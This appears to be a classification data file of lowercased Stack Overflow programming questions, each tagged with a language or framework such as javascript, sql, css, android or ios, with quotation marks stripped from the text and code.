separating every 3 numbers with commas  the first thing i want to ask is if there is a more efficient way of writing  this programm of mine. the second question is why on earth after a specific number of characters the programm does not function well and prints zeros.   <pre><code>function tocurrency(price) {   var currencytostring = price.tostring();   var finalprice =   ;   var countercomma = 0;   for (var i = 0; i &lt; currencytostring.length; i++) {     countercomma++;     finalprice += currencytostring[i];     if(countercomma == 3){         countercomma = 0;       finalprice +=    ;     }   }   return finalprice; }  console.log(tocurrency(123456253635423197874)); </code></pre>   <a href= https://jsfiddle.net/dimitrixd4/68epen4n/  rel= nofollow >https://jsfiddle.net/dimitrixd4/68epen4n/</a>,javascript
remove leftbarbuttonitem background  how to remove leftbarbuttonitem blue background  i tried <code>style:uibarbuttonitemstyleplain</code> but had no result.    code:   <pre><code>self.navigationitem.leftbarbuttonitem = [[uibarbuttonitem alloc] initwithimage:[uiimage imagenamed:@ icon_home ] style:uibarbuttonitemstyleplain target:self.navigationcontroller action:@selector(openmenu) ]; </code></pre>   <img src= https://i.stack.imgur.com/7f1yp.png  alt= enter image description here >,objective-c
asp.net c# using gridview  when i run this code  i get an error:   <blockquote>    the added or subtracted value results in an un-representable datetime. parameter name: months  </blockquote>   this is my code:   <pre><code>protected void pmgrid_rowdatabound(object sender  gridviewroweventargs e) {                datetime grace =      convert.todatetime(databinder.eval(e.row.dataitem  duedate ));     datetime grace1 = grace.addmonths(-6);     datetime grace2 = grace.addmonths(6);      if (e.row.rowtype == datacontrolrowtype.datarow)     {         if (datetime.today &gt;= grace1 &amp;&amp; datetime.today &lt; grace)             e.row.backcolor = system.drawing.color.lightgreen;         else if (datetime.today &gt;= grace &amp;&amp; datetime.today &lt; grace2)         {             e.row.backcolor = system.drawing.color.lightyellow;         }         else if (datetime.today &gt;= grace2)         {             e.row.backcolor = system.drawing.color.lightpink;         }     } } </code></pre>   thanks in advance for any answer,c#
how to fetch device manufacturer logo in my application in android  i am creating a phone hardware specific application in which i need to display user device model name  and device manufacturer logo. is it possible to get device manufacturer logo pro-grammatically and display it in image view  in similar to how we can get device model name &amp; other details. if yes then how  thanks,android
expected identifier or  (  objective c  just starting out with objective c so please be gentle. i ve got a class as follows:    card.h   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface card : nsobject @property (nonatomic) nsuinteger x; -(nsuinteger) getnum; @end </code></pre>   card.m   <pre><code>#import  card.h   @implementation card -(nsuinteger) getnum {     return self.x; }     @end </code></pre>   main.c   <pre><code>#include &lt;corefoundation/corefoundation.h&gt; #include  card.h   int main(int argc  const char * argv[]) {     return 0; } </code></pre>   when i compile  i get a load of errors  first one is:    nsobjcruntime.h: parse issue: expected identifier or  ( .     i know this is something stupid - just hoping somebody here can spot what i m doing wrong.,objective-c
replicate table 1 and combine a value from table2  i have  table1 like this:    <img src= https://i.stack.imgur.com/2jiwo.png  alt= enter image description here >    and other column in table2 having two unique value 3 and 4. how do i write a query to make a table like     <img src= https://i.stack.imgur.com/4u6fk.png  alt= enter image description here >    actually my table is more complicated than the one above:  i tried :   <pre><code> select distinct table1.x  table1.y  table2.z from table1 where table1.a =  something   and table1.b is not null   cross join table2 where table2.z= something  or table2.z= something2    </code></pre>   it does not work...i am using a modeling package which use the sql language and i am not sure it is fully compatible with sql.,sql
swift: how to update row  in the code below is the code that i used to save the data in json whenever any change is made but the problem is that i want to save only that field that is edited and not all fields. <br>ps: i have use eureka forms.,ios
why isn t jquery executing once page loaded   i have this code to run once the page has loaded on the class unseen however its not working. it doesn t execute.     when i copy and paste it into my browser with the  javascript:  part at the start it works perfectly  what s going wrong      i hope someone can help   <pre><code>$(function() {       settimeout(function() {  $( .unseen ).css( border   2px solid #ffffff ); }  600);          }); </code></pre>   thanks lots    jake,jquery
css 3 columns  why is the third column taking over the other 2   here is the smallest amount of code that clearly illustrates my problem:   <pre><code>&lt;html&gt; &lt;body&gt;     &lt;div style= float: left; width: 200px; &gt;one&lt;/div&gt;     &lt;div style= float: left; width: 200px; &gt;two&lt;/div&gt;     &lt;div style= background-color: #f0f; &gt;three&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   the first 2 divs are supposed to be 2 left columns.  the 3rd should take up the rest of the page.  eventually  i m going to add options to hide and show the 2 columns on the left.      but  why is the color purple extending all the way to the browser s left edge   i am trying to get it to start at the word  three .,css
css input[type= submit ][disabled] is not working in firefox  i tried    <pre><code>input[type= button ][disabled= disabled ]{         color:gray !important;   } </code></pre>   this css in my code its working in ie but not in firefox.    is this css won t work for firefox..      my html code   <pre><code>&lt;input type= button  id= submit  value= submit &gt;&lt;/input&gt;   &lt;script location= body &gt; document.getelementbyid( submit ).disabled=true; &lt;/script&gt; </code></pre>   please help me..,css
how to get a mpmediaitem using url  i only know song s url  but i want to get it s artwork.can anyone help to answer this     if i can get the mpmediaitem  then can use this to get artwork:[mediaitem valueforproperty:mpmediaitempropertyartwork].,ios
tools to create maximum velocity in a .net dev team  if you were to self-fund a software project which tools  frameworks  components would you employ to ensure maximum productivity for the dev team and that the  real  problem is being worked on.    what i m looking for are low friction tools which get the job done with a minimum of fuss. tools i d characterize as such are svn/tortiosesvn  resharper  vs itself. i m looking for frameworks which solve the problems inherient in all software projects like orm  logging  ui frameworks/components. an example on the ui side would be asp.net mvc vs webforms vs monorail.,.net
inner join statement does not seem to work  i have a simple sql statement that does not seem to work. i want the of table match_team ( match_id ) on the table match ( id ).    therefore i wrote the following inner join statement   <pre><code> select * from match_team inner join match on match_team.match_id = match.id </code></pre>   this throws an error however. any thoughts on what might go wrong here,sql
why isn t it working for  not xy balanced    we ll say that a string is xy-balanced if for all the  x  chars in the string  there exists a  y  char somewhere later in the string. so  xxy  is balanced  but  xyx  is not. one  y  can balance multiple  x s. given a string str  print “xy balanced”if the given string is xy-balanced otherwise print “not xy balanced”.   <pre><code>public static void main(string[] args)  {     scanner scan = new scanner(system.in);      string str = scan.next();     int x = str.length();     boolean xybalanced = false;      for(int i = x - 1; i &gt;= 0; i--)     {         char y = str.charat(i);          if(y ==  y )             xybalanced = true;          else if(y ==  x )             xybalanced = false;          else             xybalanced = true;     }      if(xybalanced = true)         system.out.print( xy balanced );      else if(xybalanced = false)         system.out.print( not xy balanced ); } </code></pre>   it s giving me  xy balanced  when i input aabbx when in fact it should give  not xy balanced . what is wrong with this code,java
angularjs pop up coming back after 190 days  that s the way i would like to get this done  for example  if you close a pop-up window for 2 days in a short time  for example  1 or 2  it should not do it again until 190 days.   <pre><code>var app = angular.module( popupusers   []); app.controller( viewpopup   [ $scope    $timeout   function ($scope  $timeout) {     $timeout(function () {         $scope.popupviewdiv = true;     }  12500);     $scope.closepopup = function () {         $scope.popupviewdiv = false;     }; }]); </code></pre>   what i think i have to overlook right now and here it is counter to how many times you have clicked on close area and remember it in some form of cookies.    <strong>the problem is just</strong>: how do i get done so that they can remember how many times popup has closed     <a href= https://stackoverflow.com/questions/27557859/how-can-i-get-the-click-count >how can i get the click count</a>    <a href= https://stackoverflow.com/questions/29122989/create-cookie-with-angularjs >create cookie with angularjs</a>    update code:   <pre><code>var app = angular.module( popupusers   []); app.controller( viewpopup   [ $scope    $timeout    $cookies   function ($scope  $timeout  $cookies) {     var cookiewobject = $cookies.getobject( test );     var count = 3;       if (cookiewobject == count) {         $scope.popupviewdiv = false;     } else {         $timeout(function() {                 $scope.popupviewdiv = true;         }  12500);          $scope.closepopup = function () {             $scope.popupviewdiv = false;             $cookies.putobject( test   count);         };     } }]); </code></pre>,angularjs
xcode warning about precision  here is my code:   <pre><code>categoryloaded =  [[nsuserdefaults standarduserdefaults] integerforkey:@ categorysaved ]; </code></pre>   here is the error:   <pre><code> implicit conversion loses integer precision:  nsinteger  (aka  long ) to  int  </code></pre>   how do i resolve this,objective-c
programmatically determine assembly dependencies  like the subject says  i want to programmatically enumerate the assemblies to which an assembly of which i have the dll refers in order to resolve the dependencies.    thank you in advance.,.net
php switch statement alternative syntax parse error when extra new line  works as expected without parse error   <pre><code>&lt; php switch(rand(0 2)):  &gt; &lt; php case 0:  &gt; &lt; php break; &gt;  &lt; php case 1:  &gt; &lt; php break; &gt;  &lt; php case 2:  &gt; &lt; php break; &gt;  &lt; php endswitch; &gt; &lt;/div&gt; </code></pre>   produces parese error because of the new line after switch...this is very odd behavior. using php 5.4.24.   <blockquote>    parse error: parse error  expecting <code> endswitch (t_endswitch)   or</code> case (t_case)   or ` default (t_default)   in /library/webserver/documents/phppos/index.php on line 18  </blockquote>  <pre><code>&lt; php switch(rand(0 2)):  &gt;  &lt; php case 0:  &gt; &lt; php break; &gt;  &lt; php case 1:  &gt; &lt; php break; &gt;  &lt; php case 2:  &gt; &lt; php break; &gt;  &lt; php endswitch; &gt; </code></pre>,php
can anyone spot the error here  here is a code i m currently working upon. it is related to array of structures. this     program is currently working fine. but if i replace the data type of salary variable in  the structure employee to float  a logical error arises. i cannot enter the salary value while scanf.even if i change the format specifier  the problem persists.    can anybody locate the error and how would it be resolved       <pre><code>#include&lt;stdio.h&gt; #include&lt;conio.h&gt;  struct employee { int emp_no; char emp_name[25]; int salary; };  void main() {    struct employee emp[2];    int i;    clrscr();    for(i=0;i&lt;2;i++)    {        printf( enter details for employee #%d:\n  (i+1));        printf( code: );        scanf( %d  &amp;emp[i].emp_no);        printf( name: );        scanf( %s  emp[i].emp_name);        printf( salary: );        scanf( %d  &amp;emp[i].salary);    }    printf( \n );    for(i=0;i&lt;2;i++)    {        printf( details of employee #%d are:\n   (i+1));        printf( code: %d\n   emp[i].emp_no);        printf( name: %s\n   emp[i].emp_name);        printf( salary: %d\n   emp[i].salary);    }    getch(); } </code></pre>,c
css: align with text  i am a total newbie when it comes to css  i am using code copied from another program so please excuse me if this is a simple or weird question.    in my table i have this code:   <pre><code>&lt;td colspan= 4  align= center &gt;rate this picture:   &lt;div id= $ratingsdiv  class= rating  align= center &gt;&amp;nbsp;&lt;/div&gt;&lt;/td&gt; </code></pre>   and in the css file i have found this:   <pre><code>.rating {     cursor: pointer;     margin: 2em;     clear: both;     display: block; } .rating:after {     content:  . ;     display: block;     height: 0;     width: 0;     clear: both;     visibility: hidden; }  div.rating div.on a {     background-position: 0 -16px; } div.rating div.hover a  div.rating div a:hover {     background-position: 0 -32px; } </code></pre>   two questions:<br> 1 - how do i get it aligned in the center of my <code>&lt;td&gt;</code>  <br> 2 - how can i align it with my  rate this picture:  text     edit: <a href= http://jsfiddle.net/jcbq9osf/  rel= nofollow >http://jsfiddle.net/jcbq9osf/</a>,css
join-on vs just = in where clause  most rdbmss support both syntaxes:   <pre><code>select ... from table1 t1 join table2 t2 on t1.jfield = t2.jfield </code></pre>   as well as   <pre><code>select ... from table1 t1  table2 t2 where t1.jfield = t2.jfield </code></pre>   personally  i prefer the latter version because of less verbosity but does it presents any difference in performance and query execution   i have seen people on this forum making remarks that the 2nd style is obsolete and does not perform as well.,sql
nan javascript error when calculating between dates with timestamp  i would like to begin by saying i looked at multiple threads in this forum before posting. wasnt able to find my solution :(    <strong>issue:</strong> getting a nan error when trying to find the difference between two dates with a timestamp from two textboxes.    the date format i m using is ddmmyyyy hh:mm - 27/01/2015 00:00 code below.    thank you in advance for this super helpful forum :)   <pre><code>function stringtodate(s) {     var dateparts = s.split(   )[0].split( - );      var timeparts = s.split(   )[1].split( : );     var d = new date(dateparts[0]  --dateparts[1]  dateparts[2]);     d.sethours(timeparts[0]  timeparts[1]  timeparts[2]);      return d; }  function test() {     var a = textbox_1.value;     var b = textbox_2.value;     alert(stringtodate(a) - stringtodate(b)); } </code></pre>,javascript
how do i use cgrectmake to size the background  ok so i have this code  which allows me to put a background image in:    i would love to know how to size this  so on the iphone 4 i can get a 320x480 size but make it nice with an image of 570.855.   <pre><code>self.view.backgroundcolor = [uicolor colorwithpatternimage:[uiimage imagenamed:@ background_stream-570x855.jpg ]]; </code></pre>   i have tried this:   <pre><code>uiimageview *image = [[uiimageview alloc] initwithimage:[uiimage imagenamed:@ background_stream-570x855.jpg ]];  [self.view sendsubviewtoback:streambg];  image.frame = cgrectmake(0  0  320  480); </code></pre>   which works  however the problem is it s behind the view  so i can t see it. i could make the view clear  but it has objects on it that need to be displayed.    any help would be most apretiated,iphone
how to places two divs in one row: one fixed  other is stretched  i need two div boxes: one at left side with fixed width  and other on the right side of first and it should stretch to right side. how to do this    <pre><code>/-- 30px --//------ * -------/ |          |                 | |          |                 | </code></pre>,html
get output of an array and use it mysql query  i have the following php script  which selects and insert into the array all the user_ids i want to select.   <pre><code>$query = mysql_query(  select `user_id` from users where (surname like  $name%  and name like  $surname% ) or (surname like  $surname%  and name like  $name% )  );      while($run = mysql_fetch_array($query)){         $user_id = $run[ user_id ];           $check_friend_query = mysql_query(   select friends_id from friends where  (user_one= $session_user_id  and user_two = $user_id ) or (user_one= $user_id  and user_two= $session_user_id )    );              if( mysql_num_rows($check_friend_query) == 1  ){                         $array[] = $user_id;             }     }    </code></pre>   by using then the following script  i get the output of all user ids that i have in the array:   <pre><code>foreach($array as $key =&gt; $value) {      echo  $value &lt;/br&gt; ;  } </code></pre>   in my case this ouput prints me 5 user ids : 32  36  37  38  39.    all i want is to use these values in the following sql query:   <pre><code>$sql =   select `name`  `surname`  `email`  `user_id` from users where ((surname like  $name%  and name like  $surname% ) or (surname like  $surname%  and name like  $name% )) and `user_id`= $value    ; </code></pre>   but if write it like above the query works only for one value  in my case for 39 and not for all. how can i make it work for all,php
horizontal list with image and text  for each list item  i want an image with text below the image. i read on this <a href= http://gtwebdev.com/workshop/layout/inline-block-gallery.php  rel= nofollow >technique</a>  but it is not supported in ie.  instead  i m floating the list items to the left.  it does the trick except the content below the list wraps to the right. how do i prevent the content from wrapping this way  here is my code:    <pre><code>&lt;style&gt;     .horizlist{         list-style:none;         text-align:center;           }     #menulist ul{         width:360px;     }     #menulist li{         float:left;         padding-right:50px;     }     #menulist li img{         display:block;     } &lt;/style&gt; &lt;div id= container  style=  &gt;     &lt;div id= top &gt;         &lt;img src= joblove.jpg  style= float:right; &gt;         &lt;div id= title  style= width:500px;text-align:center; &gt;         &lt;h1&gt; the toughest job you ll ever love: &lt;/h1&gt;         &lt;p style= font-size: 1.6em; &gt;a resource for those thinking about a career in direct care&lt;/p&gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div id= menulist &gt;         &lt;ul class= horizlist  &gt;             &lt;li&gt;                 &lt;a href= home &gt;&lt;img src= images/purplestyle_11_home.png &gt;&lt;/img&gt;&lt;span&gt;home&lt;/span&gt;&lt;/a&gt;             &lt;/li&gt;             &lt;li&gt;                 &lt;a href= brochure &gt;&lt;img src= images/purplestyle_01_heart.png &gt;&lt;span&gt;brochure&lt;/span&gt;&lt;/a&gt;             &lt;/li&gt;             &lt;li&gt;                 &lt;a href= video &gt;&lt;img src= images/purplestyle_05_cut.png &gt;&lt;span&gt;video&lt;/span&gt;&lt;/a&gt;             &lt;/li&gt;             &lt;li&gt;                 &lt;a href= personality &gt;&lt;img src= images/purplestyle_15_buddies.png &gt;&lt;span&gt;personality&lt;/span&gt;&lt;/a&gt;             &lt;/li&gt;             &lt;li&gt;                 &lt;a href= resources &gt;&lt;img src= images/purplestyle_03_folder.png &gt;&lt;span&gt;resources&lt;/span&gt;&lt;/a&gt;             &lt;/li&gt;             &lt;li&gt;                 &lt;a href= faq &gt;&lt;img src= images/purplestyle_02_talk.png &gt;&lt;span&gt;faq&lt;/span&gt;&lt;/a&gt;             &lt;/li&gt;         &lt;/ul&gt;     &lt;/div&gt;     &lt;img src= phone.jpg &gt;     &lt;ul class= horizlist &gt;         &lt;li&gt;&lt;button type= button &gt;click &lt;/li&gt;         &lt;li&gt;&lt;/li&gt;     &lt;/ul&gt;  &lt;/div&gt; </code></pre>,css
nsobject doesn t support encodewithcoder   i m using encoding for the first time in order to save data out of my app. the examples i have been looking at say to call <code>[super encodewithcoder:coder];</code> for custom classes.     i have a class which extends <code>nsobject</code> but am getting the error msg below. is this because <code>nsobject</code> is the base class and has nothing to encode    <blockquote>    receiver type  nsobject  for instance message does not declare a method with selector  encodewithcoder:   </blockquote>  <pre><code>- (void)encodewithcoder:(nscoder *) coder  {  [super encodewithcoder:coder]; //  &lt;-------------------------error  [coder encodeint:noteindex forkey:@ noteindex ]; [coder encodecgrect:cellrect forkey:@ cellrect ]; [coder encodebool:noteon forkey: @ noteon ];  [coder encodeint:note forkey:@ note ];  [coder encodeint:velocity forkey:@ velocity ];  [coder encodeint:channel forkey:@ channel ]; [coder encodeint:releasevelocity forkey:@ releasevelocity ]; [coder encodefloat:duration forkey:@ duration ]; } </code></pre>,ios
in xcode 4.1 database file is not displaying in build file  using xcode 4.1 i am developing an application which is having database integration. i am able to do all functions on firefox sqlite manager plugin. when i add data to firefox  the data is being added properly by query. but i am not able to find the database file in the build folder of my application. how can i get this file from within the application and from where   i have to check that the data inserted from the application is properly inserted or not because at the time of selecting &amp; displaying the data  the application crashes.    thanks in advance for guiding me &amp; solving this problem.,iphone
mysql column = 1 and column like  1_  are equivalent   i have two mysql query.    <pre><code>select tanulok.nev  tanulok.osztaly  leadasok.idopont  leadasok.mennyiseg from `leadasok`  tanulok  where tanulok.tazon = leadasok.tanulo and osztaly like  1_   select tanulok.nev  tanulok.osztaly  leadasok.idopont  leadasok.mennyiseg  from `leadasok`  tanulok where tanulok.tazon = leadasok.tanulo and osztaly = 1 </code></pre>   they give the same result. why     column = 1 and column like  1_  are equivalent     the values of the osztaly column are  1a    1b    2a  ...,mysql
ruby on rails progress bar  i want to create file upload progress bar in my rails application. i am googling but couldn t find appropriate answer. can anyone please suggest me how can implement the file upload progress bar on rails .... thanks in advance,ruby-on-rails
javascript & lodash ... cast _.find result to boolean  is this acceptable practice to cast find results to boolean. as i m new to js i m unsure if there are any gotchas. this currently works  but is it acceptable and is there a better practice     <pre><code>        collection.contains = function collectionhas(name  value  key) {             key = _.isstring(key)   key :  app_id ;             if (_.has(store  name)) {                 return !!_.find(store[name]  function(item  k) {                     return item[key] == value;                 });             }         }; </code></pre>,javascript
jquery returning undefined for parents selector in simple alert  i am trying to access a parent of the clicked item in the dom tree  and for some reason it s not having any of it.    here s my jquery:   <pre><code>$( .video-icon ).click(function() {     alert($(this).closest( .video-space ).html()) }); </code></pre>   and my html:   <pre><code>&lt;div class= video &gt;     &lt;div class= video-space &gt;         &lt;img src= img/video-1.jpg  alt=   class= video-img &gt;     &lt;/div&gt;     &lt;div class= video-info &gt;         &lt;div class= video-icon &gt;             &lt;img src= img/video.svg  alt=   class= video-icon-img &gt;         &lt;/div&gt;         &lt;h3 class= video-text &gt;watch video&lt;/h3&gt;         &lt;h3 class= video-title  data-video= http://www.youtube.com/watch v=xxxxxxxxx &gt;toy story trailer&lt;/h3&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   any advice on to get it working is great!,jquery
check network connection in background and upload data  i get a requirement to be able to check if there is data with fail status and upload them via webservice.    the flow is gonna be:   <blockquote>   <ol>   <li>user try to upload data but fail because of no internet connection</li>   <li>user stops using app  so the app goes background</li>   <li>apps start to identify whether internet connection is available</li>   <li>if available  it directly calls web service to upload data</li>   <li>if not available  it will return to #3</li>   </ol> </blockquote>   back to my last development on &lt; ios 7  previously background time was 10 minutes but becomes 3 minutes.    <strong>background fetch</strong>:   <blockquote>    when this method is called  your app has up to 30 seconds of   wall-clock time to perform the download operation and call the   specified completion handler block. in practice  your app should call   the completion handler block as soon as possible after downloading the   needed data. if you do not call the completion handler in time  your   app is terminated.  </blockquote>   also that these are the only apps allowed to do background:   <blockquote>   <ol>   <li>apps that play audible content to the user while in the background  such as a music player app</li>   <li>apps that record audio content while in the background.</li>   <li>apps that keep users informed of their location at all times  such as a navigation app</li>   <li>apps that support voice over internet protocol (voip)</li>   <li>apps that need to download and process new content regularly (background fetch)</li>   <li>apps that receive regular updates from external accessories</li>   </ol> </blockquote>   isn t there any way i can do background in ios yet or at least i can get the network status in background     <strong>note:</strong> my app is for internal distribution only  no need to worry with rejection.,ios
what is the proper way to use string::find to look for a word   how would i look through a string for a word rather then each character in that word. i have my code here and it always seems to find everything that is .obj even if its o or b or j or  .  i checked the docuementation <a href= http://www.cplusplus.com/reference/string/string/find/  rel= nofollow >here</a> but was unable to find an answer. here is my code:   <pre><code> string &amp;str = *it;   if(it-&gt;find( .obj ))  {      cout &lt;&lt;  found .obj  &lt;&lt; endl;  } </code></pre>   i also tried to use <code>string::compare</code> but that failed.,c++
how to remove specific set of list from a list  <pre><code>a = [0  0  0  0  1  0  0]    b = [0  0  0  0]        </code></pre>   i want to remove the <code>[0  0  0  0]</code> from list a.<br> how do i do this,python
update ng-repeat after function  i have build a piece of angular code but the ng-repeat should show after i called the function. i checked if the http.get function actually returns data and that is true it returns a list formatted like this:   <pre><code>[{id: 183m-wqhganhp-uvhuvjonyvklag   title: a title } {id: 183m-wqhganhp-uvhuvjonyvklag   title: a title }] </code></pre>   html:   <pre><code>&lt;body ng-controller= drivecontroller as drive &gt; &lt;div ng-repeat= f in drive.documents &gt;   &lt;pre&gt;{{f | json}}   &lt;/pre&gt; &lt;/div&gt; &lt;/body&gt; </code></pre>   js:   <pre><code>(function() {   var app = angular.module( app   []);    app.controller( drivecontroller   [ $scope    driveload   function($scope  driveload) {      $scope.documents = driveload.files;     driveload.getfiles( root );     }]);    app.service( driveload   [ $http   function($http  id) {     var files = [];     var jsontransform = function (data  headers) {       return angular.fromjson(data);     };     return {         getfiles: function (id) {           $http.get( /svc   {             transformresponse:jsontransform              params:{ file_id :id}           }).success(function(data  status  headers  config) {             angular.copy(data  files);           });         }          files: files     }   }]);   })(); </code></pre>,angularjs
android toast a chinese message to user  basically i need to toast a message written in chinese to user. however i don t know how to achieve such thing. any solution that can help me,android
ios: displaying filename once file is selected  i have a table cell which  once clicked  opens the file browser and lets me select a file to be uploaded to a server. the problem is  i m unable to find a way to display the name of whatever was selected. for now  i just display  file selected  and do the upload  but i d really like to be able to display the file name. is there a way to do this,objective-c
how to delete a file that exists <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1248292/how-to-delete-a-file-from-sd-card >how to delete a file from sd card </a>    </blockquote>     this should be simple for most people  i want to know how to delete a file in the sd card (<code>/sdcard/folder</code>) if it exists i.e,android
how to populate a spinner based on the first two spinners using setonitemselectedlistener  i have three spinners  the first is populated from the string xml file  the second should be populated based on the selection of the first and the third one based on the selection of the second.    i have search and tried several logic through the weekend with no success. after setting the setonitemselectedlistener on the second and third spinners  none of them get populated.    please help me. the sample code is provided below   <pre><code>public class reg_prop extends activity implements adapterview.onitemselectedlistener {  //create reference button btnsave; spinner spinprovince  spindistrict  spinlocal; string spinpro  spindist;  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_reg_prop);      toast.maketext(this   please select the province  district and local municipality where the   +              property is located   toast.length_long).show();      //initialise reference     btnsave = (button)findviewbyid(r.id.btnsave);     spinprovince = (spinner)findviewbyid(r.id.spinprovince);     spindistrict=(spinner)findviewbyid(r.id.spindistrict);     spinlocal=(spinner)findviewbyid(r.id.spinlocal);      //set onclick listener     btnsave.setonclicklistener(new view.onclicklistener() {         //@overridde         public void onclick(view v) {             try {                 intent ro = new intent(getapplicationcontext()  mainactivity.class);                 startactivity(ro);                 //toast.maketext(getapplicationcontext()   login button pressed   toast.length_long).show();              } catch (exception e) {                 toast.maketext(getapplicationcontext()   login window could not display                           toast.length_long).show();                 e.printstacktrace();             }         }     });      //set onitemselected listener     spinprovince.setonitemselectedlistener(this);     spindistrict.setonitemselectedlistener(this); }  @override public void onitemselected(adapterview&lt; &gt; parent  view view  int position  long id) {      switch (view.getid()){          case r.id.spinprovince:             spinpro = string.valueof(spinprovince.getselecteditem());             toast.maketext(this  spinpro  toast.length_short).show();              if(spinpro.contentequals( eastern cape )){                 list&lt;string&gt; list = new arraylist&lt;string&gt;();                  list.add( select district/metro * );                 list.add( buffalo city );                 list.add( nelson mandela bay );                 list.add( alfred nzo district );                 list.add( amathole district );                 list.add( chris hani district );                 list.add( joe gqabi district );                 list.add( or tambo district );                 list.add( cacadu district );                  final arrayadapter&lt;string&gt; districtadapter = new arrayadapter&lt;&gt;(this                          android.r.layout.simple_spinner_item  list);                 districtadapter.setdropdownviewresource(android.r.layout.simple_spinner_dropdown_item);                 districtadapter.notifydatasetchanged();                 spindistrict.setadapter(districtadapter);             }        }         else{             toast.maketext(this   please select the province where the property is located   toast.length_long).show();         }          break;      case r.id.spindistrict:         spindist = spindistrict.getselecteditem().tostring();          if(spindist !=    &amp;&amp; spindist !=  select district/metro *  || spindist !=  select district * ){              switch (spindist){                 case  buffalo city :                     list&lt;string&gt; list = new arraylist&lt;string&gt;();                      list.add( select district/metro * );                     list.add( ... );                     list.add( n.... );                     list.add( local );                     list.add( amathole district );                     list.add( chris hani district );                     list.add( joe gqabi district );                     list.add( or tambo district );                     list.add( cacadu district );                      final arrayadapter&lt;string&gt; localadapter = new arrayadapter&lt;string&gt;(this  android.r.layout.simple_spinner_item  list);                     localadapter.setdropdownviewresource(android.r.layout.simple_spinner_dropdown_item);                     localadapter.notifydatasetchanged();                     spinlocal.setadapter(localadapter);                      break;             }         }         else{             toast.maketext(this   please select the district municipality   toast.length_long).show();         }         break;      }     }  @override  public void onnothingselected(adapterview&lt; &gt; parent) {  toast.maketext(this   please select the province  district and local municipality where the property is located   toast.length_long).show();     } </code></pre>,android
forcing re-evaluation of ng-if  i have a header on my application that contains the  sign in / create account  option. when the user logs in i need the aforementioned to swap for the  sign out  option.     however when the user logs in the ui-view changes as expected but doesn t change the header  understandable because it isn t part of the ui-view. here s my code so far:   <pre><code>&lt;ul id= nav-account &gt;     &lt;li&gt;{{mainctrl.isauthenticated    welcome   + user.firstname +  ! &lt;/li&gt;     &lt;li ng-if= !isauthenticated &gt;&lt;a ng-href= {{ header_navtabs_signin | externallinks}} &gt;sign in&lt;/a&gt; or &lt;a ng-href= {{ header_navtabs_create_account | externallinks}} &gt;create account&lt;/a&gt;&lt;/li&gt;     &lt;li ng-if= isauthenticated &gt;&lt;a ui-sref= logout &gt;sign out&lt;/a&gt;&lt;li&gt; &lt;/ul&gt; </code></pre>   in my controller i m setting the value of <strong>isauthenticated</strong> by calling a service:   <pre><code> $scope.isauthenticated = memberservice.isauthenticated(); </code></pre>   the only way that the header value will change is if i refresh the whole page - why is this  shouldn t the ng-if re-evaluate the variable and update the view accordingly      does this mean that ng-if is only bound one way  so what can i do to make this work     thanks    andrew,angularjs
concat a string with richtextbox content in c#  i m saving a text typed in a <code>richtextbox</code> to file as the following :   <pre><code>richtextbox1.savefile(sfd.filename  richtextboxstreamtype.plaintext); </code></pre>   i want when i m saving the content of the <code>richtextbox</code> to concat a string with that content.    how can i do that     <h1>edit 1</h1>   i tried to concat using + but it wont work     <a href= https://i.stack.imgur.com/p3oe7.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/p3oe7.png  alt= enter image description here ></a>,c#
implement simple selected effect for textviews in a recyclerview   i have simple <code>recyclerview</code> that only has <code>textviews</code>  when a textview is selected i would like to have the seleceted textview to change its textcolor to <code>color.yellow</code> and when it is deselected or an other item is selected the current selected item shall ofcourse change back to the default color <code>color.white</code>    i have tried with a selector drawable like this  which didn t work:   <pre><code>&lt;item android:state_selected= true  android:color= #fed002  /&gt; &lt;item android:state_focused= true  android:color= #fed002  /&gt; &lt;item android:state_pressed= true  android:color= #fed002  /&gt; &lt;item android:color= #fff  /&gt; </code></pre>   and i have tried with a colorstatelist in my <code>recyclerview adapater</code>which didn t work too.    it just seem to much complicated for a simple thing.     <strong>my onbindviewholder just contains a textview:</strong>   <pre><code>@override public void onbindviewholder(viewholder holder  int position) {       holder.textview.settext(list.get(position).getfontname());     holder.textview.settypeface(list.get(position).gettypeface()); } </code></pre>,android
rails has_many vs has_many through   i m brand new to rails so this might be a trivial question. while going through tutorials i ve read about the relationship identifiers has_many and has_many through. what i can t seem to understand is the difference between them. for example  if i had 3 models  doctors  appointments and patients   <pre><code> class doctor&lt; activerecord::base   has_many :appointments   has_many :patients  through: :appointments end  class appointment &lt; activerecord::base   belongs_to :doctor   belongs_to :patient end  class patient &lt; activerecord::base   has_many :appointments   has_many :doctors  through: :appointments end </code></pre>   couldn t i just say that doctor has_many :patients and patient has_many :doctors and they d be related  what s the purpose of going through appointments to do this      thanks,ruby-on-rails
have one button go to a different view and enable button  i am working on an app where i have multiple buttons on one page that you click on to go to a different view. the thing is i would like the user to click on them in a specific order. so basically  have all buttons locked except for one and then each time you click on a button that is enabled  it unlocks a new one.    thanks.,ios
mysql distinct and order by together  i have a table like the following   <pre><code>item_id    position_number         position_date    1             9              2013-06-29 15:12:58    2             7              2013-07-25 15:12:58   18             5              2013-07-08 12:07:00   13             9              2013-07-08 12:07:00 </code></pre>   i want to get the items group by position_number and order by position_date desc  so the query will return the following:   <pre><code>item_id    position_number         position_date   13             9              2013-07-08 12:07:00    2             7              2013-07-25 15:12:58   18             5              2013-07-08 12:07:00 </code></pre>   i ve been implementing some of the solutions that use distinct and group by  but not get the desired result.    does anyone have an idea about how to solved it,mysql
python module import error  i am struggling with a strange error (may be it should not be strange for experts) with my python code.    when i write down a python script and save it to desktop( to reduce the system drive load i have changed my desktop folder destination to  g:  drive on my system) and when i run this script from the desktop it  does not import the module with import statement (for example  import math ) rather error comes out  module not found (something like that)   where as when i save the same script in  c:  drive it will run properly without any occurrence of error.     now i am looking for any method or any statement which could simply be added to the script and  able to run my code from anywhere in the system without error.,python
